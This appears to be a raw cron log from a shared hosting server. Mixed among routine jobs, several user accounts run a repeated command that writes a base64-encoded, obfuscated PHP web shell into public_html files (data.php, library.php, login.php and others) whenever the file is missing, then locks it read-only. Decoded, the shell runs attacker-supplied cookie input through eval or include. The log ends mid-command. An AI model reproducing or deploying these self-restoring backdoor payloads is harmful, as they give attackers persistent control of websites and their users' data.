Mar  2 01:42:01 medusa CROND[21126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:42:01 medusa CROND[21127]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:42:01 medusa CROND[21130]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:42:01 medusa CROND[21131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:42:01 medusa CROND[21132]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:42:01 medusa CROND[21135]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:42:01 medusa CROND[21142]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:42:01 medusa CROND[21146]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:42:01 medusa CROND[21148]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:42:01 medusa CROND[21149]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:42:01 medusa CROND[21150]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:43:01 medusa CROND[29078]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 01:43:01 medusa CROND[29080]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:43:01 medusa CROND[29079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:43:01 medusa CROND[29082]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:43:01 medusa CROND[29083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:43:01 medusa CROND[29089]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:43:01 medusa CROND[29091]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:43:01 medusa CROND[29090]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:43:01 medusa CROND[29102]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:43:01 medusa CROND[29103]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 01:43:01 medusa CROND[29104]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:43:01 medusa CROND[29105]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:43:01 medusa CROND[29106]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:43:01 medusa CROND[29112]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:44:01 medusa CROND[3498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:44:02 medusa CROND[3574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:44:02 medusa CROND[3655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:44:02 medusa CROND[3690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > 